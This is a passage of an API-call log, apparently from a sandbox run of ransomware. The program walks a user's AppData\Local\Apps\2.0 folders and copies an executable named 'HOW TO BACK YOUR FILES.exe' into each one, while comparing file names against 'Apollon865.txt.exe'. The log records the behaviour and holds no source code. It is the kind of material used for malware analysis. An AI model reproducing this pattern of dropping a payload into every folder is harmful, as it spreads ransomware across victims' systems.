	[0050.307] lstrcatW (in: lpString1="", lpString2="C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Local\\Apps\\2.0" | out: lpString1="C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Local\\Apps\\2.0") returned="C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Local\\Apps\\2.0"
	[0050.307] lstrcatW (in: lpString1="", lpString2="HOW TO BACK YOUR FILES.exe" | out: lpString1="HOW TO BACK YOUR FILES.exe") returned="HOW TO BACK YOUR FILES.exe"
	[0050.307] CopyFileW (lpExistingFileName="C:\\ProgramData\\HOW TO BACK YOUR FILES.exe" (normalized: "c:\\programdata\\how to back your files.exe"), lpNewFileName="C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Local\\Apps\\2.0\\HOW TO BACK YOUR FILES.exe" (normalized: "c:\\users\\5p5nrgjn0js halpmcxz\\appdata\\local\\apps\\2.0\\how to back your files.exe"), bFailIfExists=1) returned 1
	[0050.312] lstrcatW (in: lpString1="", lpString2="\\*" | out: lpString1="\\*") returned="\\*"
	[0050.312] FindFirstFileW (in: lpFileName="C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Local\\Apps\\2.0\\*", lpFindFileData=0x2d3e300 | out: lpFindFileData=0x2d3e300*(dwFileAttributes=0x2010, ftCreationTime.dwLowDateTime=0x65f935c0, ftCreationTime.dwHighDateTime=0x1d2dd9e, ftLastAccessTime.dwLowDateTime=0x360e44f0, ftLastAccessTime.dwHighDateTime=0x1d560a9, ftLastWriteTime.dwLowDateTime=0x360e44f0, ftLastWriteTime.dwHighDateTime=0x1d560a9, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0xa0000003, dwReserved1=0x0, cFileName=".", cAlternateFileName="")) returned 0x5ca410
	[0050.312] lstrcmpiW (lpString1=".", lpString2="HOW TO BACK YOUR FILES.exe") returned -1
	[0050.312] lstrcmpiW (lpString1=".", lpString2="Apollon865.txt.exe") returned -1
	[0050.312] lstrcpynW (in: lpString1=0x2d3e550, lpString2="C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Local\\Apps\\2.0\\DQQ19BCJ.JAX", iMaxLength=260 | out: lpString1="C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Local\\Apps\\2.0\\DQQ19BCJ.JAX") returned="C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Local\\Apps\\2.0\\DQQ19BCJ.JAX"
	[0050.313] lstrcatW (in: lpString1="", lpString2="C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Local\\Apps\\2.0\\DQQ19BCJ.JAX" | out: lpString1="C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Local\\Apps\\2.0\\DQQ19BCJ.JAX") returned="C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Local\\Apps\\2.0\\DQQ19BCJ.JAX"
	[0050.313] lstrcatW (in: lpString1="", lpString2="HOW TO BACK YOUR FILES.exe" | out: lpString1="HOW TO BACK YOUR FILES.exe") returned="HOW TO BACK YOUR FILES.exe"
	[0050.313] CopyFileW (lpExistingFileName="C:\\ProgramData\\HOW TO BACK YOUR FILES.exe" (normalized: "c:\\programdata\\how to back your files.exe"), lpNewFileName="C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Local\\Apps\\2.0\\DQQ19BCJ.JAX\\HOW TO BACK YOUR FILES.exe" (normalized: "c:\\users\\5p5nrgjn0js halpmcxz\\appdata\\local\\apps\\2.0\\dqq19bcj.jax\\how to back your files.exe"), bFailIfExists=1) returned 1
	[0050.316] lstrcatW (in: lpString1="", lpString2="\\*" | out: lpString1="\\*") returned="\\*"
	[0050.316] FindFirstFileW (in: lpFileName="C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Local\\Apps\\2.0\\DQQ19BCJ.JAX\\*", lpFindFileData=0x2d3e300 | out: lpFindFileData=0x2d3e300*(dwFileAttributes=0x2010, ftCreationTime.dwLowDateTime=0x65f935c0, ftCreationTime.dwHighDateTime=0x1d2dd9e, ftLastAccessTime.dwLowDateTime=0x3610a650, ftLastAccessTime.dwHighDateTime=0x1d560a9, ftLastWriteTime.dwLowDateTime=0x3610a650, ftLastWriteTime.dwHighDateTime=0x1d560a9, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0xa0000003, dwReserved1=0x0, cFileName=".", cAlternateFileName="")) returned 0x5ca410
	[0050.317] lstrcmpiW (lpString1=".", lpString2="HOW TO BACK YOUR FILES.exe") returned -1
	[0050.317] lstrcmpiW (lpString1=".", lpString2="Apollon865.txt.exe") returned -1
	[0050.317] lstrcpynW (in: lpString1=0x2d3e550, lpString2="C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Local\\Apps\\2.0\\DQQ19BCJ.JAX\\YVORLGOR.PNT", iMaxLength=260 | out: lpString1="C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Local\\Apps\\2.0\\DQQ19BCJ.JAX\\YVORLGOR.PNT") returned="C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Local\\Apps\\2.0\\DQQ19BCJ.JAX\\YVORLGOR.PNT"
	[0050.317] lstrcatW (in: lpString1="", lpString2="C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Local\\Apps\\2.0\\DQQ19BCJ.JAX\\YVORLGOR.PNT" | out: lpString1="C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Local\\Apps\\2.0\\DQQ19BCJ.JAX\\YVORLGOR.PNT") returned="C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Local\\Apps\\2.0\\DQQ19BCJ.JAX\\YVORLGOR.PNT"
	[0050.317] lstrcatW (in: lpString1="", lpString2="HOW TO BACK YOUR FILES.exe" | out: lpString1="HOW TO BACK YOUR FILES.exe") returned="HOW TO BACK YOUR FILES.exe"
	[0050.317] CopyFileW (lpExistingFileName="C:\\ProgramData\\HOW TO BACK YOUR FILES.exe" (normalized: "c:\\programdata\\how to back your files.exe"), lpNewFileName="C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Local\\Apps\\2.0\\DQQ19BCJ.JAX\\YVORLGOR.PNT\\HOW TO BACK YOUR FILES.exe" (normalized: "c:\\users\\5p5nrgjn0js halpmcxz\\appdata\\local\\apps\\2.0\\dqq19bcj.jax\\yvorlgor.pnt\\how to back your files.exe"), bFailIfExists=1) returned 1
	[0050.324] lstrcatW (in: lpString1="", lpString2="\\*" | out: lpString1="\\*") returned="\\*"
	[0050.324] FindFirstFileW (in: lpFileName="C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Local\\Apps\\2.0\\DQQ19BCJ.JAX\\YVORLGOR.PNT\\*", lpFindFileData=0x2d3e300 | out: lpFindFileData=0x2d3e300*(dwFileAttributes=0x2010, ftCreationTime.dwLowDateTime=0x65f935c0, ftCreationTime.dwHighDateTime=0x1d2dd9e, ftLastAccessTime.dwLowDateTime=0x3610a650, ftLastAccessTime.dwHighDateTime=0x1d560a9, ftLastWriteTime.dwLowDateTime=0x3610a650, ftLastWriteTime.dwHighDateTime=0x1d560a9, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0xa0000003, dwReserved1=0x0, cFileName=".", cAlternateFileName="")) returned 0x5ca410
	[0050.324] lstrcmpiW (lpString1=".", lpString2="HOW TO BACK YOUR FILES.exe") returned -1
	[0050.324] lstrcmpiW (lpString1=".", lpString2="Apollon865.txt.exe") returned -1
	[0050.324] lstrcpynW (in: lpString1=0x2d3e550, lpString2="C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Local\\Apps\\2.0\\DQQ19BCJ.JAX\\YVORLGOR.PNT\\manifests", iMaxLength=260 | out: lpString1="C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Local\\Apps\\2.0\\DQQ19BCJ.JAX\\YVORLGOR.PNT\\manifests") returned="C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Local\\Apps\\2.0\\DQQ19BCJ.JAX\\YVORLGOR.PNT\\manifests"
	[0050.324] lstrcatW (in: lpString1="", lpString2="C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Local\\Apps\\2.0\\DQQ19BCJ.JAX\\YVORLGOR.PNT\\manifests" | out: lpString1="C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Local\\Apps\\2.0\\DQQ19BCJ.JAX\\YVORLGOR.PNT\\manifests") returned="C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Local\\Apps\\2.0\\DQQ19BCJ.JAX\\YVORLGOR.PNT\\manifests"
	[0050.324] lstrcatW (in: lpString1="", lpString2="HOW TO BACK YOUR FILES.exe" | out: lpString1="HOW TO BACK YOUR FILES.exe") returned="HOW TO BACK YOUR FILES.exe"
	[0050.324] CopyFileW (lpExistingFileName="C:\\ProgramData\\HOW TO BACK YOUR FILES.exe" (normalized: "c:\\programdata\\how to back your files.exe"), lpNewFileName="C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Local\\Apps\\2.0\\DQQ19BCJ.JAX\\YVORLGOR.PNT\\manifests\\HOW TO BACK YOUR FILES.exe" (normalized: "c:\\users\\5p5nrgjn0js halpmcxz\\appdata\\local\\apps\\2.0\\dqq19bcj.jax\\yvorlgor.pnt\\manifests\\how to back your files.exe"), bFailIfExists=1) returned 1
	[0050.329] lstrcatW (in: lpString1="", lpString2="\\*" | out: lpString1="\\*") returned="\\*"
	[0050.329] FindFirstFileW (in: lpFileName="C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Local\\Apps\\2.0\\DQQ19BCJ.JAX\\YVORLGOR.PNT\\manifests\\*", lpFindFileData=0x2d3e300 | out: lpFindFileData=0x2d3e300*(dwFileAttributes=0x2010, ftCreationTime.dwLowDateTime=0x65f935c0, ftCreationTime.dwHighDateTime=0x1d2dd9e, ftLastAccessTime.dwLowDateTime=0x3610a650, ftLastAccessTime.dwHighDateTime=0x1d560a9, ftLastWriteTime.dwLowDateTime=0x3610a650, ftLastWriteTime.dwHighDateTime=0x1d560a9, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0xa0000003, dwReserved1=0x0, cFileName=".", cAlternateFileName="")) returned 0x5ca410
	[0050.329] lstrcmpiW (lpString1=".", lpString2="HOW TO BACK YOUR FILES.exe") returned -1
	[0050.329] lstrcmpiW (lpString1=".", lpString2="Apollon865.txt.exe") returned -1
	[0050.330] lstrcpynW (in: lpString1=0x2d3e550, lpString2="C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Local\\Apps\\2.0\\DQQ19BCJ.JAX\\YVORLGOR.PNT\\goog...app_baa8013a79450f71_0001.0003_290679d077f4cfec", iMaxLength=260 | out: lpString1="C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Local\\Apps\\2.0\\DQQ19BCJ.JAX\\YVORLGOR.PNT\\goog...app_baa8013a79450f71_0001.0003_290679d077f4cfec") returned="C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Local\\Apps\\2.0\\DQQ19BCJ.JAX\\YVORLGOR.PNT\\goog...app_baa8013a79450f71_0001.0003_290679d077f4cfec"
	[0050.330] lstrcatW (in: lpString1="", lpString2="C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Local\\Apps\\2.0\\DQQ19BCJ.JAX\\YVORLGOR.PNT\\goog...app_baa8013a79450f71_0001.0003_290679d077f4cfec" | out: lpString1="C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Local\\Apps\\2.0\\DQQ19BCJ.JAX\\YVORLGOR.PNT\\goog...app_baa8013a79450f71_0001.0003_290679d077f4cfec") returned="C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Local\\Apps\\2.0\\DQQ19BCJ.JAX\\YVORLGOR.PNT\\goog...app_baa8013a79450f71_0001.0003_290679d077f4cfec"
	[0050.330] lstrcatW (in: lpString1="", lpString2="HOW TO BACK YOUR FILES.exe" | out: lpString1="HOW TO BACK YOUR FILES.exe") returned="HOW TO BACK YOUR FILES.exe"
	[0050.330] CopyFileW (lpExistingFileName="C:\\ProgramData\\HOW TO BACK YOUR FILES.exe" (normalized: "c:\\programdata\\how to back your files.exe"), lpNewFileName="C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Local\\Apps\\2.0\\DQQ19BCJ.JAX\\YVORLGOR.PNT\\goog...app_baa8013a79450f71_0001.0003_290679d077f4cfec\\HOW TO BACK YOUR FILES.exe" (normalized: "c:\\users\\5p5nrgjn0js halpmcxz\\appdata\\local\\apps\\2.0\\dqq19bcj.jax\\yvorlgor.pnt\\goog...app_baa8013a79450f71_0001.0003_290679d077f4cfec\\how to back your files.exe"), bFailIfExists=1) returned 1
	[0050.335] lstrcatW (in: lpString1="", lpString2="\\*" | out: lpString1="\\*") returned="\\*"
	[0050.335] FindFirstFileW (in: lpFileName="C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Local\\Apps\\2.0\\DQQ19BCJ.JAX\\YVORLGOR.PNT\\goog...app_baa8013a79450f71_0001.0003_290679d077f4cfec\\*", lpFindFileData=0x2d3e300 | out: lpFindFileData=0x2d3e300*(dwFileAttributes=0x2010, ftCreationTime.dwLowDateTime=0x6a37a2c0, ftCreationTime.dwHighDateTime=0x1d2dd9e, ftLastAccessTime.dwLowDateTime=0x361307b0, ftLastAccessTime.dwHighDateTime=0x1d560a9, ftLastWriteTime.dwLowDateTime=0x361307b0, ftLastWriteTime.dwHighDateTime=0x1d560a9, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0xa0000003, dwReserved1=0x0, cFileName=".", cAlternateFileName="")) returned 0x5ca410
	[0050.336] lstrcmpiW (lpString1=".", lpString2="HOW TO BACK YOUR FILES.exe") returned -1
	[0050.336] lstrcmpiW (lpString1=".", lpString2="Apollon865.txt.exe") returned -1
	[0050.336] lstrcpynW (in: lpString1=0x2d3e550, lpString2="C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Local\\Apps\\2.0\\DQQ19BCJ.JAX\\YVORLGOR.PNT\\clic...exe_baa8013a79450f71_0001.0003_none_855491bb37a51715", iMaxLength=260 | out: lpString1="C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Local\\Apps\\2.0\\DQQ19BCJ.JAX\\YVORLGOR.PNT\\clic...exe_baa8013a79450f71_0001.0003_none_855491bb37a51715") returned="C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Local\\Apps\\2.0\\DQQ19BCJ.JAX\\YVORLGOR.PNT\\clic...exe_baa8013a79450f71_0001.0003_none_855491bb37a51715"
	[0050.336] lstrcatW (in: lpString1="", lpString2="C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Local\\Apps\\2.0\\DQQ19BCJ.JAX\\YVORLGOR.PNT\\clic...exe_baa8013a79450f71_0001.0003_none_855491bb37a51715" | out: lpString1="C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Local\\Apps\\2.0\\DQQ19BCJ.JAX\\YVORLGOR.PNT\\clic...exe_baa8013a79450f71_0001.0003_none_855491bb37a51715") returned="C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Local\\Apps\\2.0\\DQQ19BCJ.JAX\\YVORLGOR.PNT\\clic...exe_baa8013a79450f71_0001.0003_none_855491bb37a51715"
	[0050.336] lstrcatW (in: lpString1="", lpString2="HOW TO BACK YOUR FILES.exe" | out: lpString1="HOW TO BACK YOUR FILES.exe") returned="HOW TO BACK YOUR FILES.exe"
	[0050.336] CopyFileW (lpExistingFileName="C:\\ProgramData\\HOW TO BACK YOUR FILES.exe" (normalized: "c:\\programdata\\how to back your files.exe"), lpNewFileName="C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Local\\Apps\\2.0\\DQQ19BCJ.JAX\\YVORLGOR.PNT\\clic...exe_baa8013a79450f71_0001.0003_none_855491bb37a51715\\HOW TO BACK YOUR FILES.exe" (normalized: "c:\\users\\5p5nrgjn0js halpmcxz\\appdata\\local\\apps\\2.0\\dqq19bcj.jax\\yvorlgor.pnt\\clic...exe_baa8013a79450f71_0001.0003_none_855491bb37a51715\\how to back your files.exe"), bFailIfExists=1) returned 1
	[0050.342] lstrcatW (in: lpString1="", lpString2="\\*" | out: lpString1="\\*") returned="\\*"
	[0050.342] FindFirstFileW (in: lpFileName="C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Local\\Apps\\2.0\\DQQ19BCJ.JAX\\YVORLGOR.PNT\\clic...exe_baa8013a79450f71_0001.0003_none_855491bb37a51715\\*", lpFindFileData=0x2d3e300 | out: lpFindFileData=0x2d3e300*(dwFileAttributes=0x2010, ftCreationTime.dwLowDateTime=0x6a37a2c0, ftCreationTime.dwHighDateTime=0x1d2dd9e, ftLastAccessTime.dwLowDateTime=0x361307b0, ftLastAccessTime.dwHighDateTime=0x1d560a9, ftLastWriteTime.dwLowDateTime=0x361307b0, ftLastWriteTime.dwHighDateTime=0x1d560a9, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0xa0000003, dwReserved1=0x0, cFileName=".", cAlternateFileName="")) returned 0x5ca410
	[0050.342] lstrcmpiW (lpString1=".", lpString2="HOW TO BACK YOUR FILES.exe") returned -1
	[0050.342] lstrcmpiW (lpString1=".", lpString2="Apollon865.txt.exe") returned -1
	[0050.342] lstrcpynW (in: lpString1=0x2d3e550, lpString2="C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Local\\Apps\\2.0\\Data", iMaxLength=260 | out: lpString1="C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Local\\Apps\\2.0\\Data") returned="C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Local\\Apps\\2.0\\Data"
	[0050.342] lstrcatW (in: lpString1="", lpString2="C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Local\\Apps\\2.0\\Data" | out: lpString1="C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Local\\Apps\\2.0\\Data") returned="C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Local\\Apps\\2.0\\Data"
	[0050.342] lstrcatW (in: lpString1="", lpString2="HOW TO BACK YOUR FILES.exe" | out: lpString1="HOW TO BACK YOUR FILES.exe") returned="HOW TO BACK YOUR FILES.exe"
	[0050.342] CopyFileW (lpExistingFileName="C:\\ProgramData\\HOW TO BACK YOUR FILES.exe" (normalized: "c:\\programdata\\how to back your files.exe"), lpNewFileName="C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Local\\Apps\\2.0\\Data\\HOW TO BACK YOUR FILES.exe" (normalized: "c:\\users\\5p5nrgjn0js halpmcxz\\appdata\\local\\apps\\2.0\\data\\how to back your files.exe"), bFailIfExists=1) returned 1
	[0050.349] lstrcatW (in: lpString1="", lpString2="\\*" | out: lpString1="\\*") returned="\\*"
	[0050.350] FindFirstFileW (in: lpFileName="C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Local\\Apps\\2.0\\Data\\*", lpFindFileData=0x2d3e300 | out: lpFindFileData=0x2d3e300*(dwFileAttributes=0x2010, ftCreationTime.dwLowDateTime=0x65fb9720, ftCreationTime.dwHighDateTime=0x1d2dd9e, ftLastAccessTime.dwLowDateTime=0x36156910, ftLastAccessTime.dwHighDateTime=0x1d560a9, ftLastWriteTime.dwLowDateTime=0x36156910, ftLastWriteTime.dwHighDateTime=0x1d560a9, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0xa0000003, dwReserved1=0x0, cFileName=".", cAlternateFileName="")) returned 0x5ca410
	[0050.350] lstrcmpiW (lpString1=".", lpString2="HOW TO BACK YOUR FILES.exe") returned -1
	[0050.350] lstrcmpiW (lpString1=".", lpString2="Apollon865.txt.exe") returned -1
	[0050.350] lstrcpynW (in: lpString1=0x2d3e550, lpString2="C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Local\\Apps\\2.0\\Data\\CJW3O3KP.BX7", iMaxLength=260 | out: lpString1="C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Local\\Apps\\2.0\\Data\\CJW3O3KP.BX7") returned="C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Local\\Apps\\2.0\\Data\\CJW3O3KP.BX7"
	[0050.350] lstrcatW (in: lpString1="", lpString2="C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Local\\Apps\\2.0\\Data\\CJW3O3KP.BX7" | out: lpString1="C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Local\\Apps\\2.0\\Data\\CJW3O3KP.BX7") returned="C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Local\\Apps\\2.0\\Data\\CJW3O3KP.BX7"
	[0050.350] lstrcatW (in: lpString1="", lpString2="HOW TO BACK YOUR FILES.exe" | out: lpString1="HOW TO BACK YOUR FILES.exe") returned="HOW TO BACK YOUR FILES.exe"
	[0050.350] CopyFileW (lpExistingFileName="C:\\ProgramData\\HOW TO BACK YOUR FILES.exe" (normalized: "c:\\programdata\\how to back your files.exe"), lpNewFileName="C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Local\\Apps\\2.0\\Data\\CJW3O3KP.BX7\\HOW TO BACK YOUR FILES.exe" (normalized: "c:\\users\\5p5nrgjn0js halpmcxz\\appdata\\local\\apps\\2.0\\data\\cjw3o3kp.bx7\\how to back your files.exe"), bFailIfExists=1) returned 1
	[0050.354] lstrcatW (in: lpString1="", lpString2="\\*" | out: lpString1="\\*") returned="\\*"
	[0050.354] FindFirstFileW (in: lpFileName="C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Local\\Apps\\2.0\\Data\\CJW3O3KP.BX7\\*", lpFindFileData=0x2d3e300 | out: lpFindFileData=0x2d3e300*(dwFileAttributes=0x2010, ftCreationTime.dwLowDateTime=0x65fb9720, ftCreationTime.dwHighDateTime=0x1d2dd9e, ftLastAccessTime.dwLowDateTime=0x36156910, ftLastAccessTime.dwHighDateTime=0x1d560a9, ftLastWriteTime.dwLowDateTime=0x36156910, ftLastWriteTime.dwHighDateTime=0x1d560a9, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0xa0000003, dwReserved1=0x0, cFileName=".", cAlternateFileName="")) returned 0x5ca410
	[0050.354] lstrcmpiW (lpString1=".", lpString2="HOW TO BACK YOUR FILES.exe") returned -1
	[0050.354] lstrcmpiW (lpString1=".", lpString2="Apollon865.txt.exe") returned -1
	[0050.354] lstrcpynW (in: lpString1=0x2d3e550, lpString2="C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Local\\Apps\\2.0\\Data\\CJW3O3KP.BX7\\6NG60CXZ.9GJ", iMaxLength=260 | out: lpString1="C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Local\\Apps\\2.0\\Data\\CJW3O3KP.BX7\\6NG60CXZ.9GJ") returned="C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Local\\Apps\\2.0\\Data\\CJW3O3KP.BX7\\6NG60CXZ.9GJ"
	[0050.354] lstrcatW (in: lpString1="", lpString2="C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Local\\Apps\\2.0\\Data\\CJW3O3KP.BX7\\6NG60CXZ.9GJ" | out: lpString1="C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Local\\Apps\\2.0\\Data\\CJW3O3KP.BX7\\6NG60CXZ.9GJ") returned="C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Local\\Apps\\2.0\\Data\\CJW3O3KP.BX7\\6NG60CXZ.9GJ"
	[0050.354] lstrcatW (in: lpString1="", lpString2="HOW TO BACK YOUR FILES.exe" | out: lpString1="HOW TO BACK YOUR FILES.exe") returned="HOW TO BACK YOUR FILES.exe"
	[0050.354] CopyFileW (lpExistingFileName="C:\\ProgramData\\HOW TO BACK YOUR FILES.exe" (normalized: "c:\\programdata\\how to back your files.exe"), lpNewFileName="C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Local\\Apps\\2.0\\Data\\CJW3O3KP.BX7\\6NG60CXZ.9GJ\\HOW TO BACK YOUR FILES.exe" (normalized: "c:\\users\\5p5nrgjn0js halpmcxz\\appdata\\local\\apps\\2.0\\data\\cjw3o3kp.bx7\\6ng60cxz.9gj\\how to back your files.exe"), bFailIfExists=1) returned 1
	[0050.361] lstrcatW (in: lpString1="", lpString2="\\*" | out: lpString1="\\*") returned="\\*"
	[0050.361] FindFirstFileW (in: lpFileName="C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Local\\Apps\\2.0\\Data\\CJW3O3KP.BX7\\6NG60CXZ.9GJ\\*", lpFindFileData=0x2d3e300 | out: lpFindFileData=0x2d3e300*(dwFileAttributes=0x2010, ftCreationTime.dwLowDateTime=0x65fb9720, ftCreationTime.dwHighDateTime=0x1d2dd9e, ftLastAccessTime.dwLowDateTime=0x36156910, ftLastAccessTime.dwHighDateTime=0x1d560a9, ftLastWriteTime.dwLowDateTime=0x36156910, ftLastWriteTime.dwHighDateTime=0x1d560a9, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0xa0000003, dwReserved1=0x0, cFileName=".", cAlternateFileName="")) returned 0x5ca410
	[0050.362] lstrcmpiW (lpString1=".", lpString2="HOW TO BACK YOUR FILES.exe") returned -1
	[0050.362] lstrcmpiW (lpString1=".", lpString2="Apollon865.txt.exe") returned -1
	[0050.362] lstrcpynW (in: lpString1=0x2d3e550, lpString2="C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Local\\Apps\\2.0\\Data\\CJW3O3KP.BX7\\6NG60CXZ.9GJ\\goog...app_baa8013a79450f71_0001.0003_290679d077f4cfec", iMaxLength=260 | out: lpString1="C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Local\\Apps\\2.0\\Data\\CJW3O3KP.BX7\\6NG60CXZ.9GJ\\goog...app_baa8013a79450f71_0001.0003_290679d077f4cfec") returned="C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Local\\Apps\\2.0\\Data\\CJW3O3KP.BX7\\6NG60CXZ.9GJ\\goog...app_baa8013a79450f71_0001.0003_290679d077f4cfec"
	[0050.362] lstrcatW (in: lpString1="", lpString2="C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Local\\Apps\\2.0\\Data\\CJW3O3KP.BX7\\6NG60CXZ.9GJ\\goog...app_baa8013a79450f71_0001.0003_290679d077f4cfec" | out: lpString1="C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Local\\Apps\\2.0\\Data\\CJW3O3KP.BX7\\6NG60CXZ.9GJ\\goog...app_baa8013a79450f71_0001.0003_290679d077f4cfec") returned="C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Local\\Apps\\2.0\\Data\\CJW3O3KP.BX7\\6NG60CXZ.9GJ\\goog...app_baa8013a79450f71_0001.0003_290679d077f4cfec"
	[0050.362] lstrcatW (in: lpString1="", lpString2="HOW TO BACK YOUR FILES.exe" | out: lpString1="HOW TO BACK YOUR FILES.exe") returned="HOW TO BACK YOUR FILES.exe"
	[0050.363] CopyFileW (lpExistingFileName="C:\\ProgramData\\HOW TO BACK YOUR FILES.exe" (normalized: "c:\\programdata\\how to back your files.exe"), lpNewFileName="C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Local\\Apps\\2.0\\Data\\CJW3O3KP.BX7\\6NG60CXZ.9GJ\\goog...app_baa8013a79450f71_0001.0003_290679d077f4cfec\\HOW TO BACK YOUR FILES.exe" (normalized: "c:\\users\\5p5nrgjn0js halpmcxz\\appdata\\local\\apps\\2.0\\data\\cjw3o3kp.bx7\\6ng60cxz.9gj\\goog...app_baa8013a79450f71_0001.0003_290679d077f4cfec\\how to back your files.exe"), bFailIfExists=1) returned 1
	[0050.367] lstrcatW (in: lpString1="", lpString2="\\*" | out: lpString1="\\*") returned="\\*"
	[0050.367] FindFirstFileW (in: lpFileName="C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Local\\Apps\\2.0\\Data\\CJW3O3KP.BX7\\6NG60CXZ.9GJ\\goog...app_baa8013a79450f71_0001.0003_290679d077f4cfec\\*", lpFindFileData=0x2d3e300 | out: lpFindFileData=0x2d3e300*(dwFileAttributes=0x2010, ftCreationTime.dwLowDateTime=0x6a3a0420, ftCreationTime.dwHighDateTime=0x1d2dd9e, ftLastAccessTime.dwLowDateTime=0x3617ca70, ftLastAccessTime.dwHighDateTime=0x1d560a9, ftLastWriteTime.dwLowDateTime=0x3617ca70, ftLastWriteTime.dwHighDateTime=0x1d560a9, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0xa0000003, dwReserved1=0x0, cFileName=".", cAlternateFileName="")) returned 0x5ca410
	[0050.367] lstrcmpiW (lpString1=".", lpString2="HOW TO BACK YOUR FILES.exe") returned -1
	[0050.367] lstrcmpiW (lpString1=".", lpString2="Apollon865.txt.exe") returned -1
